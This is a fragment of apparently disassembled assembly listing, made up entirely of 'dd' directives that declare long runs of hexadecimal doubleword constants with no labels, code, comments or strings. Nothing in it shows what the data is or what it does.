		dd 4C9713EEh, 0F74A2DA0h, 853C3427h, 1F4CAC85h,	2ED3BFB2h
		dd 0D85BCB82h, 363B644Ah, 0C812FE66h, 3D213CACh, 59316299h
		dd 9D7132F4h, 415B8718h, 504BA727h, 57E91653h, 322FE9D7h
		dd 64333925h, 0E7932E10h, 0CB6B6B7Fh, 2620CEE1h, 8E6B1017h
		dd 46125D3Fh, 5040B3CBh, 0D3404275h, 0E8F5A34Dh, 0BD9C971Ch
		dd 157132C4h, 0E92D02ECh, 8EF88E04h, 14ED64Dh, 5BBC9C2Ch
		dd 0F8634C92h, 2ACFB730h, 0D10852Ch, 75965C2Fh,	0EE84ED42h
		dd 0B51713BDh, 50B9BAFCh, 0E983B4FFh, 4031964Dh, 997F282h
		dd 0D22FF451h, 89FCA075h, 4BDA68E0h, 0F6164845h, 0C21E7625h
		dd 0F7050C0Eh, 1837A8B0h, 0C729C2Ah, 0A2242399h, 8B170D3Ah
		dd 0D8016A43h, 25BAA052h, 1253481Ch, 5F6A7C1Fh,	0C17E65Bh
		dd 0DA2807E6h, 1851E92Ch, 20E8BE81h, 5E3473C4h,	0F2A297D2h
		dd 7ADC274Bh, 9D8E0469h, 68D770FFh, 0C9348FDh, 0F23C4C09h
		dd 19920B58h, 21E2F70Ch, 0E92771D0h, 84D1597Eh,	1F4C7468h
		dd 2F84C153h, 45C39977h, 0BB220713h, 0FC4D8CFEh, 52D75BC6h
		dd 4F1839CBh, 52E6638Ah, 83BC49F0h, 0FD1DC792h,	29386CC1h
		dd 0B0284F42h, 0B5ADE917h, 44B44A1h, 0AACC8925h, 67EF2870h
		dd 0B34272Ah, 809356Ah,	98372182h, 2710455Fh, 681F1DD2h
		dd 0FDB46C37h, 69594C87h, 0E22EC3E6h, 0A2374C84h, 98C45DB8h
		dd 494FC304h, 50EF7D20h, 955E08CCh, 0C19A49CFh,	0D2F6D922h
		dd 0E05D8384h, 4B90802Eh, 0E2280739h, 64EDEF84h, 2D78B1FCh
		dd 0C100EED0h, 213503E8h, 2488C36h, 77F71C2Dh, 165F89EEh
		dd 42CE9C90h, 7409F346h, 51028130h, 615F73D0h, 0C0456C4Ah
		dd 692140A1h, 0B8502F5Ah, 0E9180BDAh, 0C643DE36h, 67321E12h
		dd 0E0B2D210h, 0F29505A4h, 0F92D4A29h, 35445A33h, 8005A86Dh
		dd 0F79BC3C7h, 0D4AFEFABh, 0FFFACD6h, 9505556h,	0BC5CD8DBh
		dd 405E2848h, 57FEB930h, 1738073Dh, 176136DDh, 317A5CB0h
		dd 6313E4FCh, 95A4C18h
		dd 2DC307Fh, 5CCD9199h,	0F06962FBh, 252F7D4Ch, 0C20E1342h
		dd 27F8567Dh, 0E99F8E53h, 6C523517h, 430064B8h,	8140C844h
		dd 331245E7h, 19AE463Fh, 6BBCE6DDh, 0C82BC932h,	58F3B153h
		dd 28730080h, 4DFD39F1h, 0C3050325h, 229F671h, 934A05B7h
		dd 635A6257h, 6B2DB0F0h, 0A10CC01Ch, 1A70B16h, 0A55EF23Fh
		dd 5226D4EAh, 2728BF54h, 11433203h, 0AD70E94Fh,	4FAB8E88h
		dd 90BA6C5h, 3039C968h,	2832DF77h, 20A327EFh, 545FF21Ah
		dd 4D69E0D8h, 0CB8B3D0Eh, 0EAD6C492h, 41F038C5h, 0C5094E5Ah
		dd 0E3C4B871h, 0F6048CF4h, 0E453C2DCh, 8AB9E44Eh, 7CE1A539h
		dd 22E88018h, 2F2DD8F7h, 41ED4601h, 0D5704D05h,	0B168C77Eh
		dd 7025DC33h, 20042CDEh, 0DBF72EF6h, 0BD15C2h, 5C61C50Dh
		dd 252D5803h, 0AF76AD40h, 0E48882F0h, 90C67D31h, 0C9A15F5Fh
		dd 0DE4D41DAh, 0F9F9133Fh, 6623E6AFh, 0C469F24Fh, 51293E5h
		dd 88F559C2h, 334F36DFh, 3A841F41h, 64EC160Fh, 60BF9624h
		dd 0B8C18093h, 631DE1E6h, 0D1ECB050h, 58D6081Eh, 8079C993h
		dd 78F659CFh, 50CDEBD7h, 212DE52Fh, 749FF329h, 4B7DC5C7h
		dd 4C02C14Bh, 2D50EE83h, 7FD9C80Bh, 68DFA189h, 44637C42h
		dd 0BD856E48h, 9053D9A1h, 9DD246B0h, 786D315Bh,	235C35CCh
		dd 5B8B45E8h, 0BB26D42Fh, 9D8125F6h, 4E2708ABh,	3562B287h
		dd 66050F20h, 1C8305Ah,	0E4885B65h, 0E40460Ah, 0E1BA4AB3h
		dd 77832AFDh, 45F8C4F0h, 687C7EC9h, 2FACC2Dh, 0FF36856h
		dd 0BF64F44h, 805DD95Ah, 0F50968E6h, 0BD015579h, 7A8D2682h
		dd 7F70EE29h, 252F13CEh, 13E6A809h, 0B7141A01h,	20851F7Ch
		dd 0CE941E9Eh, 6F0841BCh, 40C24E2Ch, 892F5FF0h,	0AD6045DEh
		dd 603E150h, 6EE94C23h,	0EB170234h, 29B65B1h, 8E628DFh
		dd 70B4926h, 0D1586A03h, 88E2A5BBh, 0CA070C41h,	0B3884BF9h
		dd 0D82801EEh, 3A5B6D04h, 4CB17B98h, 0E426723Ch, 5AAB10BFh
		dd 0A14DA349h, 40EB8077h, 293BDEC1h, 73C6F817h,	0CEBE918h
		dd 0E154F711h, 85F5816Bh, 89570006h, 27F0BED7h,	1FE04AE3h
		dd 0CC1531Bh, 43631EFFh, 850506Ah, 35140C68h, 0B03FBCEEh
		dd 0B5B93FE9h, 0E103E069h, 2D4774FEh, 6A3AFC90h, 66368746h
		dd 61F53C70h, 0A49361F2h, 0E241E02Fh, 0C092CA6Fh, 575BDF29h
		dd 0CBAE72E9h, 3F73E337h, 0C9F613C9h, 492E1F67h, 83608BA0h
		dd 7C4CFF68h, 0FE12DED0h, 5A4932EAh, 8C097856h,	9457F607h
		dd 0A1756D05h, 986B5E77h, 0E91AD0A7h, 0E8A49E75h, 80FE12E3h
		dd 0A91EADBBh, 0CC8CC4BFh, 0FC3EF42h, 34F3717Fh, 2462E869h
		dd 5DEFB277h, 853327A2h, 92BDACD3h, 0C58823E6h,	3F2E00F5h
		dd 564579C1h, 0F41653BEh, 0A484B9ECh, 2DE970A0h, 0D2519041h
		dd 81116598h, 477238F6h, 0A497643Dh, 8484A818h,	36F23BDAh
		dd 11689C98h, 919A455Ah, 0BFFE5924h, 0C1200183h, 9C0005E5h
		dd 4E521AE8h, 0BB8D78E9h, 1180875h, 753A5118h, 0E1839560h
		dd 4DF0E3EDh, 0CDEE457Ah, 2804460Fh, 24C5A122h,	78DA9DBBh
		dd 0B4A2E4E5h, 60113BDh, 0EF8FEE8h, 0B7899C97h,	6195C9E4h
		dd 0EE206674h, 89619C20h, 2D0971B5h, 0B22D9EF6h, 7643A9BDh
		dd 32B15472h, 16206328h, 15F27C6h, 6A5B2D64h, 6FB1AF80h
		dd 9AC43D80h, 85C37C2Ch, 0C1F3015Ah, 1202EB6Ah,	0B9315F53h
		dd 90E9E45Bh, 4A17BDB4h, 0BA5D020Ch, 0E8D1255Ch, 0E0E64C70h
		dd 855DD90h, 0A446B4BAh, 21E8BF0h, 0E978FD73h, 0B75E493Dh
		dd 39072D9Ch, 0D9C342EBh, 0BA182F28h, 377BD2AAh, 0EC4BF283h
		dd 9062A51h, 96E11C77h,	64A03560h, 3F61FA3Eh, 8B7B6BE1h
		dd 0E6012D39h, 0F4262583h, 0F4C5FDC4h, 3B53C97Ch, 0BDC02CE2h
		dd 0E98107Ch, 0A7C2F6A1h, 0A6ABD32Eh, 69F8A56Eh, 0F4C8105Bh
		dd 25517A66h, 2E68CE0Ah, 0CB003BD5h, 5EF1810Fh,	0F80EAC12h
		dd 4DAEB05Ah, 2D0FEC86h, 4C006FD6h, 0B0456B05h,	0EC095E7Ah
		dd 0D6646671h, 0F90720AEh, 0A9E91140h, 134FA4CAh, 615C7B68h
		dd 2B4A9555h, 0F612728Bh, 0C89CF886h, 0F9018B40h, 0E90DFDE5h
		dd 4C302372h, 0E0D0FEAAh, 0FC2C74C8h, 2C13B606h, 0BB530090h
		dd 779A25D8h, 0E239DDB4h, 563F7824h, 32078E92h,	21800D29h
		dd 19C8B26Eh, 0F3092890h, 0A35CC40h, 8205E5Fh, 0F27AE92Eh
		dd 68EFE0A7h, 0AA553230h, 314A121Ah, 9B8E85Fh, 79042431h
		dd 23AE0368h, 0C3D12854h, 0BADD5858h, 0AB21701Ch, 0EBE290A6h
		dd 31766CC0h, 0B0DBEEE4h, 0D9069E02h, 0BBB6AAFEh, 0FD795A76h
		dd 5096D32Ch, 0C6E91754h, 0A39164E5h, 25C05802h, 5E8FC282h
		dd 66BF5072h, 7D2B5B16h, 162086F4h, 0A8484269h,	0E9115084h
		dd 9456D49h, 0D178C180h, 89F6693Fh, 8086Eh, 55C82DADh
		dd 5E90563Ah, 5CA2EC20h, 0A32F6B5Fh, 0A059AA20h, 3125A7E0h
		dd 0EDBE79C8h, 2B7325CDh, 0C112F2B6h, 2734AE58h, 0CFA60C2h
		dd 24BB5050h, 7EF261B5h, 88525802h, 0B5708AEEh,	8B422FEDh
		dd 5581BEE9h, 68E1D445h, 0CC6E7755h, 139E02D9h,	0C9058469h
		dd 53EF6803h, 0CA4FAB10h, 9F4CEC78h, 0F7298A02h, 38091B70h
		dd 8B7EA564h, 5BAE8B77h, 58AA870h, 440325B9h, 0BC398543h
		dd 68AC04A0h, 30FB657Fh, 39E905DEh, 0BF88B1A3h,	0F9017A5Ch
		dd 0ED266801h, 57FD1FE6h, 0BA4D032Bh, 9AB4816h,	2ECBEA02h
		dd 0C1515B26h, 0FA75221Ah, 4ABA9E6Eh, 0E9824DA2h, 18DB30EDh
		dd 156296BDh, 905A36C8h, 0F2584BF5h, 42BBC0ABh,	18642221h
		dd 64FFB87h, 0D348F74Bh, 6F8307CFh, 0E99232D6h,	0FD83AA42h
		dd 0FEA12702h, 0F0A2E113h, 0A27C407Bh, 0C145222Ah, 2C06E33Fh
		dd 189853Fh, 0D2AD00CFh, 0D2157E47h, 0B898C0F0h, 0D0B2CF5h
		dd 52D0F71Ch, 950B298Eh, 0FAF608E0h, 1D0C5612h,	167B37E8h
		dd 8A658528h, 6CC7F57h,	3D355058h, 0F2C4AB9h, 21E90591h
		dd 0E0C1CDCAh, 2295F45Eh, 5DC4BE86h, 0A02FE046h, 78A33AE7h
		dd 69CD969Ah, 29D7CAAh,	793E213Dh, 4008C4C0h, 37000D7Fh
		dd 0DE0527A5h, 0B2D802C0h, 62687B75h, 0E6795135h, 0FDFA77C6h
		dd 0B8E6295Eh, 4B58568Bh, 0CB7E985Ch, 2DF9DA11h, 725009C6h
		dd 4AF1212Dh, 4F0977ACh, 805EA63Ah, 9533816Fh, 0C46B015Eh
		dd 5A080931h, 97FE9E75h, 51398Bh, 17E85892h, 0E92998E4h
		dd 0C3B1EE26h, 0E385649h, 59EBCE08h, 0FC0D6ED6h, 0DB7820D1h
		dd 16BF5701h, 0F8648F6Fh, 22BD11F4h, 10AAC3Dh, 3C22F968h
		dd 84D3C4C3h, 42CD8101h, 1E816A3Ch, 0BB03BCC7h,	0BF9003F6h
		dd 35D55B54h, 8E647109h, 0A0F27045h, 1276E36Fh,	50012485h
		dd 0D14B0883h, 0AFE03966h, 7302D048h, 4D2E0A81h, 1097A30h
		dd 0D0416BF6h, 0B8D1429Dh, 56825168h, 58C5CC48h, 60230D4h
		dd 14E72D04h, 4155A034h, 0B0ACA1Dh, 0D3500FEEh,	95AAD113h
		dd 0C3D2795Ch, 3DBE1753h, 15A5627Dh, 7A9442A2h,	0B32B1449h
		dd 9D0C5883h, 6BA68E2Ch, 55420854h, 3BA90AC5h, 0D5432DA5h
		dd 82D385EFh, 5B02F092h, 0C76DC901h, 0B8D66562h, 0D2E8D6BFh
		dd 957EB985h, 8562EAB0h, 1911F5AFh, 0F7258BA7h,	0D0DFCDAh
		dd 6013A2CDh, 1C125CB3h, 0A90363E1h, 89682718h,	92366E84h
		dd 4C3BE210h, 95481097h, 7268520Eh, 5A69ED42h, 6503E1C7h
		dd 0F0594034h, 962DCF7h, 0F1E91BF4h, 0F505807Ah, 89A2DF3Fh
		dd 0E02016BAh, 340481Ah, 0D649EC5Bh, 330BA1BDh,	0D6C913E5h
		dd 891F1FF6h, 3CFD0CCAh, 3BD22C23h, 10DE1704h, 0FA7464ABh
		dd 1387FE98h, 1679364Fh
		dd 0F2D21391h, 38CD5B94h, 72F8FDFAh, 0F6AFC695h, 4F4BAC2h
		dd 0CD419905h, 0EFD58226h, 292DD7D2h, 3F99F121h, 0D5837E19h
		dd 27F02652h, 0D9A4A989h, 80E9705Ch, 9890374Ah,	580DB0BDh
		dd 0DD300408h, 0FFED8304h, 0E94D451Fh, 0B0E4C6D7h, 66A32504h
		dd 345667E9h, 43B7B301h, 421B4245h, 2CA838Eh, 0B252003Fh
		dd 0C0CAFEC2h, 0F607E201h, 6EEA80DAh, 5302108Bh, 0B24AE054h
		dd 5076C102h, 5240D768h, 0B9385152h, 810A3D96h,	5986E2BAh
		dd 0E34729AEh, 0EEEAAEC9h, 0AC30E5CBh, 2D00248Ah, 665747FBh
		dd 551D029h, 0E6840307h, 8162C4D0h, 0A3AED1Ch, 0F665159Eh
		dd 81B16B19h, 20BF1401h, 4014B510h, 38A1794Ch, 67D09605h
		dd 3AAE7008h, 0A7CFE9Ah, 8A691454h, 0DEA5EC2Bh,	215CF0FFh
		dd 725EF025h, 2CC8904Fh, 42D7FB90h, 0D10BFD4Ah,	335C4960h
		dd 0D5250490h, 97C8AD28h, 108B8B56h, 0C44AD220h, 0C480E8C1h
		dd 0FC1C138h, 0BA00B81Ah, 392E5580h, 0C712894Fh, 0B6969E5Dh
		dd 4F7E321h, 925D45CCh,	0C914BD8Eh, 2FB03ADCh, 2C54C5C9h
		dd 12FA2C70h, 0B519BC29h, 5B712388h, 8480E2C7h,	1C845EF1h
		dd 50189AEAh, 2408C82h,	474A3168h, 38A1EEF7h, 0E554F261h
		dd 95FACE2h, 215A1E9Ch,	0ED6CDB0Bh, 0F2250040h,	16769A79h
		dd 43D6892Eh, 0B6B7BEAh, 0B20B51CBh, 203666F6h,	751D9363h
		dd 0EE87132Bh, 0ECF84B95h, 63BF04D0h, 6E54842Dh, 0F3D98916h
		dd 0C14106C8h, 0CF607E1h, 4A0851DEh, 528A40Ch, 0CE2F8A15h
		dd 582C559h, 440FCFE9h,	0CC485183h, 0CE48B476h,	0A1BE244Dh
		dd 0F4C05752h, 0DB9D2068h, 8BCC0B89h, 509FC0D3h, 5BEDA115h
		dd 7442FC1h, 7E20A32Fh,	7213342Fh, 0C6EA037Ah, 0D14AD40Dh
		dd 62282B4h, 0B186A077h, 62EE80DDh, 287E0F73h, 81362EBh
		dd 2C8472E9h, 3D2861Dh,	779D2501h, 0CFDB3BF3h, 0A22257C0h
		dd 9F699031h, 0B7F9689h, 411D5921h, 6922F0E9h, 5F98073Ah
		dd 45B57D43h, 0B74F97A8h, 5644D6CAh, 560BB1BCh,	5FC25774h
		dd 4934A94h, 540102DBh,	0FDDE0AF9h, 666A24A8h, 0E2DEB90h
		dd 0D98E3B08h, 75623C07h, 0A2885912h, 0A42D7EACh, 0C78224A7h
		dd 0C185BFFDh, 0A131EBBDh, 0A72B18B1h, 7F491352h, 7AA75746h
		dd 0D15A5B8Bh, 15BCF020h, 31958497h, 9BFCBB0h, 0AE8743Dh
		dd 0AE01F2DBh, 2942A95Bh, 52D78700h, 0DEE742BFh, 8A4A6CF7h
		dd 0ED8001EBh, 0C9E0079Eh, 0DCF2A966h, 420F5FF8h, 0F4C1010Eh
		dd 7A09799Dh, 0D2C79A70h, 0FE27632h, 0E94E237Ch, 7E3C924Dh
		dd 0D13FB10Ch, 86D413F6h, 7A63E8E7h, 77F5801Ch,	0C04EE5CEh
		dd 0EE8884C5h, 5ACEF859h, 0C05208AEh, 3ED57127h, 8DF12014h
		dd 8FE98004h, 0BA2B8430h, 0EF307F89h, 280999Dh,	0F6299B0Bh
		dd 0C130815Dh, 442018E8h, 0B22829E9h, 10A0ACDFh, 0BCA0D60Ah
		dd 0BCEC4BB9h, 3E1AC4F2h, 7A685600h, 484CA455h,	994310A2h
		dd 0D67EB21Dh, 685B8046h, 2AA8795Fh, 3120EBDh, 40BE3582h
		dd 8511C9B3h, 0EE482961h, 563925A4h, 0E11964F3h, 855DFEB1h
		dd 74D5216Fh, 0F4B76AE8h, 0EA10945Ah, 52E7E04h,	80B0CCFAh
		dd 0EA5B2B40h, 1C3078C3h, 0F72806EBh, 0CF3D5810h, 9AC4B2E9h
		dd 6275EE11h, 502E04ACh, 4B6E8007h, 0D9E8B834h,	5BD6C22Ch
		dd 0E9242998h, 34A24ECAh, 0C4D1EC1Dh, 2BC0D6F6h, 99F028FAh
		dd 17126AF1h, 0A45A0B53h, 0BB8E8B08h, 0EBADC2CAh, 84F33102h
		dd 35AA0EC0h, 0B4691EC6h, 3EDCA1BBh, 32F144F0h,	295AA1F9h
		dd 0C030140h, 3403D5B9h, 0DA070DF8h, 6145CA09h,	0FC75C9F3h
		dd 0BDA51D28h, 0E2680901h, 6113FC03h, 0AC38E0E9h, 32168CC3h
		dd 5EA275CCh, 6608303Eh, 640F9278h, 0C0F60D40h,	0D1E93D45h
		dd 0EA79C08Ah, 3BE60E85h, 5BFA9BB8h, 0F09DCC9Ah, 0D3E3F085h
		dd 0C23B01E9h, 82F2373Ch, 54BA3E0Dh, 888BFF9Eh,	52963879h
		dd 4BE92988h, 0D0F7824Eh, 916613C0h, 98D76E9Dh,	0A71454F7h
		dd 673E8h, 0E2D05E0h, 0E9FCC323h, 91176FF5h, 688265EDh
		dd 7790531Fh, 83093B61h, 0A7559544h, 35605D45h,	4B7CC49Ch
		dd 0E553ACBBh, 715ECE09h, 8D104936h, 699EB976h,	9B2D3389h
		dd 9F2F3DBh, 2F996847h,	67379EDFh, 5568EB5Eh, 95D8E336h
		dd 13783269h, 536A77BBh, 0D2276BD0h, 203D46D1h,	5C5B77C6h
		dd 0BB0D6B8Dh, 8100B4C5h, 818F1EFh, 0D30C6F7Fh,	134C76Ah
		dd 5C7E5D7h, 2B85008h, 0F2FBE914h, 440F774h, 484C111Fh
		dd 9A2AB912h, 34892744h, 5EE4455Ch, 5F1E8EBBh, 1E2B8FE5h
		dd 0A2C135BAh, 287D450h, 12FBE416h, 0CB444389h,	0A10FB9E3h
		dd 9F32FE30h, 0D5D0A52Bh, 0B3A4C32Eh, 0D8B9F1Fh, 0E6DC342Ch
		dd 685716E2h, 4FE2BC86h, 9ACF8AA0h, 4E5C2FA6h, 1524BFEDh
		dd 0C628BE28h, 7D9C5C7Ch, 0EB5B0CA8h, 0DEFE9384h, 6B5C2628h
		dd 0B3092617h, 0DF19802Bh, 2E1F3877h, 1A1AD9F7h, 0C7000A05h
		dd 33190C67h, 0E9134071h, 4941FE6Fh, 0FA015EF7h, 3B49B46Ah
		dd 0A8BD2A4Ah, 9201FC4h, 514DD457h, 76A51131h, 62F1CB81h
		dd 0EC1A70AFh, 0F494CF3Dh, 4ED96E89h, 85ECB712h, 97CDBA30h
		dd 5C895FF9h, 0D609C0CAh, 0EB0D565Ah, 0E5F57D37h, 0C3282545h
		dd 90A1583h, 43688C06h,	724292C2h, 0F0D6C0A9h, 0A43DBDE0h
		dd 4A294257h, 0E90B45ADh, 679B7B3Eh, 0D1F76B1Ah, 16B17A0Bh
		dd 8C11F868h, 94416E77h, 68A0EB6Ch, 4E9515C5h, 31D99D4Eh
		dd 0E7B9186Bh, 809791A5h, 676FEB81h, 5625771Eh,	92E874BEh
		dd 4C54B429h, 8B85E2B5h, 8AA6746Ah, 0BDB34DE9h,	2E9EF681h
		dd 21892CA1h, 72D0F904h, 0CC680FE5h, 0D0E62B55h, 0FA050E5Bh
		dd 0BC52076Dh, 2007410Eh, 7812ECCFh, 0BFE01D44h, 3869BD40h
		dd 95EB41EEh, 97647C20h, 8C8484FCh, 36BF0075h, 7B726425h
		dd 99BB254Fh, 4BC9D5A8h, 0E942E55Ch, 0D5994A1Ch, 0C237CC40h
		dd 7DEBCDC1h, 0C56E6386h, 0D02CAEB3h, 4BBBB2EFh, 84C7ED5Ah
		dd 0C3400672h, 0FE5FE1F3h, 7AED014Fh, 0A94C440Eh, 4045534Bh
		dd 4E685000h, 4E64EA73h, 32F3C258h, 0D455F8E1h,	0BE0F15B8h
		dd 0F75F5031h, 6384EAB0h, 0BF8F58Fh, 0FBE0678Ah, 8E276D4Eh
		dd 20ADFA68h, 34FB0D55h, 231FA3ABh, 0D9573F9Eh,	0BA59E0h
		dd 73885D58h, 608DF281h, 462E63Bh, 341886CAh, 0BAC207C0h
		dd 58BE1936h, 31F30E42h, 7392C80h, 50F5097Ch, 7502D0CAh
		dd 0F7297646h, 17082908h, 0E546095Ah, 0C8EEAF7Eh, 1DC261Ah
		dd 0CB950EEAh, 0AFC23EF1h, 944150DEh, 1500BAADh, 1E3065Ch
		dd 520259CDh, 4B95BD55h, 0F5CD60C4h, 202712F1h,	82CB843Eh
		dd 1F83A37h, 680556B4h,	0BA3275ADh, 0D0CB8055h,	46A3566h
		dd 795728BDh, 0F5F4A410h, 2B331E0Bh, 20F6DA6Eh,	41970ED8h
		dd 50F00BAFh, 17AD9022h, 0F3F3411h, 24986C61h, 7113C1BDh
		dd 91B13040h, 2D6FC86Fh, 2E10260Fh, 15CD7665h, 322B75F2h
		dd 0C2202570h, 0A2AC48DAh, 597ADE58h, 4F78B720h, 0A4A8F455h
		dd 5F5B29C9h, 685169B0h, 0A22718D8h, 0EF8080B0h, 0BBC0CC39h
		dd 0ECF71907h, 0F36AF612h, 81BC161Eh, 0A322623h, 0EA013B3Eh
		dd 0C10820D3h, 0E30F331Ch, 0A2CA3E56h, 8073164Bh, 8ABEE93Eh
		dd 5BD88BC3h, 708BCA52h, 54050F39h, 0D254E14Dh,	50072D28h
		dd 62F7E05Fh, 739BBF15h, 51D8EC20h, 38B370B1h, 0E33D59CBh
		dd 0A05CEBBCh, 0E0B018B6h, 0B652C30Fh, 11C60154h, 0E45299E9h
		dd 0B51FE29h, 55322128h, 3AA7A861h, 8CBF55C4h, 0EE0481E9h
		dd 4F34148h, 0C62867F8h
		dd 5A594808h, 0BA04CA20h, 382F1651h, 0AB029184h, 0C021196Ah
		dd 5DCCE940h, 0B99762DCh, 5CB25F91h, 0A2CBEC3Dh, 4AE9A0C5h
		dd 8B1CBCEEh, 13BA6F38h, 0D06B03DEh, 0AEBD8077h, 0AE12D309h
		dd 60351128h, 2BE799E6h, 302DC224h, 3240B155h, 0C38803FAh
		dd 3CA3C0B9h, 7ABAC504h, 895AF4A3h, 0D4CC6F0Ch,	863A13B1h
		dd 408A87E1h, 0E98AF180h, 4C4FED68h, 6AFE0A69h,	5AC6FC6Bh
		dd 524BA150h, 0E912319Bh, 4EF3B86Bh, 0EB7C8BE6h, 2568CB24h
		dd 727B05DCh, 25D94B08h, 0E11E627Ch, 689E9749h,	57EDF50h
		dd 0D509C3ADh, 2065E55Ah, 4605441Ch, 9FE91C72h,	0F3A282D4h
		dd 5DF96882h, 531E9271h, 41DAD6Eh, 0FB25C4E4h, 5D89492Ch
		dd 0DF892C7Bh, 62027E1Bh, 9C75A90Ch, 5445FCF2h,	0B05B4D4h
		dd 0B342C82h, 8E27DBF6h, 0D6C3CE54h, 0C2FD49AEh, 0EE0C1975h
		dd 10626051h, 0DB202E32h, 254BF1F4h, 5A7E08Ch, 0E9239459h
		dd 6EEFB1D2h, 4C51968Eh, 0AD2C4B38h, 19B303D8h,	0FE063BBCh
		dd 53D24EB6h, 51A40F0Ch, 0CE830AECh, 0B885C44h,	975E74E9h
		dd 5D874AD1h, 6B6D2D6Eh, 8DBAE584h, 3E4A313Fh, 0B2BFB340h
		dd 3D756263h, 2DFEEFC1h, 1ECCA02Fh, 0C0F6555Bh,	0C3336704h
		dd 5721C120h, 47A73FF8h, 71E4680Bh, 0BE9C1B0h, 0B9092F96h
		dd 41B10537h, 6BF9C80h,	0E7A6076h, 0C11761C9h, 7E5A667Ch
		dd 8F6425C0h, 6B18F002h, 0F7791071h, 9EFDD293h,	74CE093Fh
		dd 88D7B4DAh, 1606C76h,	0E2E951A1h, 6BA595B7h, 44AE0305h
		dd 0AAC4157Dh, 11A7FF94h, 4A057C40h, 4F9D8C5Bh,	3E9A6002h
		dd 7D165AE9h, 46CCF620h, 17C2EF2h, 24BE5FAh, 9CB25745h
		dd 3AEAC6F0h, 0E6FE8003h, 0F2E676F2h, 0D3881308h, 4ED6125Ah
		dd 0DE0B4DD9h, 44D7AD05h, 0ABDD31F3h, 5A918488h, 0D3E3E908h
		dd 0A15305BBh, 96DEAC70h, 300000D5h, 3FAA08B7h,	6A5AC9F7h
		dd 20292C41h, 8C660577h, 401A4834h, 0E30FB918h,	0F37D590Fh
		dd 8A952EAh, 680FAA10h,	3D1CA03Bh, 0E1CB815Bh, 356071F5h
		dd 68F9CE5Eh, 0C7F9ADDFh, 0E7107080h, 6AF74E3Ch, 0AF04D6h
		dd 8210F97h, 0CF1283BBh, 598931E5h, 4DE95920h, 0C00F4AA6h
		dd 9D0B07E8h, 315C39D8h, 1320648Bh, 0AF2C61FBh,	90322B36h
		dd 0BF5A786Eh, 0E5C9FC60h, 34031D14h, 88302DBh,	8531EF6Bh
		dd 9F4F47A0h, 99B9125Eh, 8CC4084Dh, 55500989h, 0E5952E14h
		dd 4B922D72h, 0A6E66F57h, 28CC85Eh, 1FEA1DD6h, 2840E343h
		dd 56485D08h, 0C4D4208Ch, 5E3400Ch, 8808CF31h, 291CB14Fh
		dd 73B207E5h, 826F746Fh, 54F48F97h, 0D1FCD550h,	0E02069BFh
		dd 800665DCh, 0B20840Fh, 4B77E4C9h, 8534A628h, 788DACA8h
		dd 16ADD22Bh, 0CA0E9B77h, 2D0C5C3Ch, 2E98959h, 0AE61CD6h
		dd 10A3C6Eh, 2D40919h, 66E73435h, 77FE08E0h, 29C9AB17h
		dd 40FC8812h, 0A2F3067Ch, 3C24E63Ah, 11050AFEh,	0E119E940h
		dd 4FA81E9Ch, 50306C36h, 2C94B800h, 25E91770h, 0D6449D0Eh
		dd 4125197h, 8C4D9B68h,	80B55471h, 0B32E41A8h, 2C7B030h
		dd 0CF4CD1C3h, 0BBE2D601h, 295A57D8h, 6EA965C1h, 5340D404h
		dd 0BC3DFBC7h, 47AB067Ah, 0C19843B5h, 0A29772B0h, 14C172E8h
		dd 1C570913h, 0DD89E404h, 1521BBC5h, 21E05EF2h,	56F19F93h
		dd 39BB53C0h, 257E0E37h, 5D81EB81h, 824B5974h, 16F93D0Eh
		dd 84AFE094h, 2581BBDDh, 0E8423B59h, 2EA9645Dh,	0BB8D48E9h
		dd 3F3B6460h, 619F5F5Bh, 3E380412h, 57506CA7h, 5BAD6412h
		dd 54B3A140h, 0B2012940h, 752720FEh, 5FB58BB5h,	0A8DF3A09h
		dd 0F509B46Ah, 1701336Dh, 63A04DB8h, 0B0D15818h, 0EB758117h
		dd 3D7D7F37h, 9D22B4EDh, 44F2C126h, 0E47EAD5Dh,	8B31A313h
		dd 0E9017037h, 0F53DB8h, 166284EDh, 0F0FD016Fh,	0E908A0C5h
		dd 0A89D4AF2h, 0B268A128h, 3CA9F42Bh, 6B5CF1B5h, 801280B2h
		dd 97791C7Fh, 87B7AA96h, 800EB6CEh, 0E9712F68h,	0B3896039h
		dd 17F7B2EBh, 0B4A32A79h, 0E3C725F7h, 0C92F79FAh, 0E7E04872h
		dd 0C23BC9D1h, 85BABD5h, 14A7C633h, 6E0D9609h, 0DF03F5D5h
		dd 5F01E311h, 78AEFC2h,	0CBC10104h, 87458713h, 5214B60Ch
		dd 5117586Bh, 0CA008E9h, 0BD0EF614h, 72D6BC8Bh,	1D567D03h
		dd 0D1240755h, 527A8540h, 0BAC89CC8h, 0F15A8851h, 0B35A5BB0h
		dd 0F78080A9h, 98BCE99Ah, 9892E9Bh, 254C4602h, 19988601h
		dd 5481A38Bh, 0BC076AEh, 281C5B5Eh, 0C0C3801Fh,	42B55147h
		dd 0FEDBC570h, 0F5860DCDh, 0BE08D6F6h, 4EED9610h, 0EB84FF12h
		dd 6988CBAEh, 802B4AB9h, 0D74EF040h, 440EB029h,	7B0BF6C2h
		dd 0A270834h, 390C94D0h, 98F54B10h, 0D3C34459h,	41BC58FCh
		dd 56AB5013h, 1C5FBA52h, 9DD9937Fh, 24EB8B2h, 6009BC5Fh
		dd 0AEB70440h, 785FC82h, 675FA6F6h, 0A888D312h,	1AB01A78h
		dd 0EA76A20h, 602CD828h, 9B049340h, 800BB353h, 0D1A0AEE9h
		dd 9411452Ch, 3383AB90h, 35A900F0h, 4C0654EDh, 1312D125h
		dd 0F00963E7h, 767A6A78h, 0E6A98981h, 5E69A8D6h, 6BCF43CBh
		dd 2EC27102h, 0D8CD57E6h, 0F4D997B4h, 944545ECh, 47A53B4Dh
		dd 1B27FA58h, 729C5C17h, 0F1EBFB51h, 22388BD1h,	0F968871h
		dd 0D7588F82h, 0BEA7307h, 3001980Fh, 6446E9F8h,	4A0FBDD1h
		dd 464C6912h, 8414DE10h, 0D2E1B057h, 4B12EFE3h,	0F7642387h
		dd 0E93328FEh, 5212165Eh, 3C8472EEh, 38E59390h,	0E0A4183Ch
		dd 94357B0Ch, 0ECF5F801h, 4432516h, 0FC035C79h,	710B25h
		dd 0B64CC70Ch, 0BC79E967h, 0C0F34DC0h, 0E45B680Eh, 8C325EBDh
		dd 55A30E3h, 74073FA3h,	8B066255h, 0C021AB05h, 50E94B15h
		dd 4F2F1EB4h, 0ACA2ADDBh, 92F76AD7h, 0A01C40FEh, 28883F54h
		dd 0A884A62Dh, 0C00F88FEh, 0E5002FDDh, 66D5F606h, 54687753h
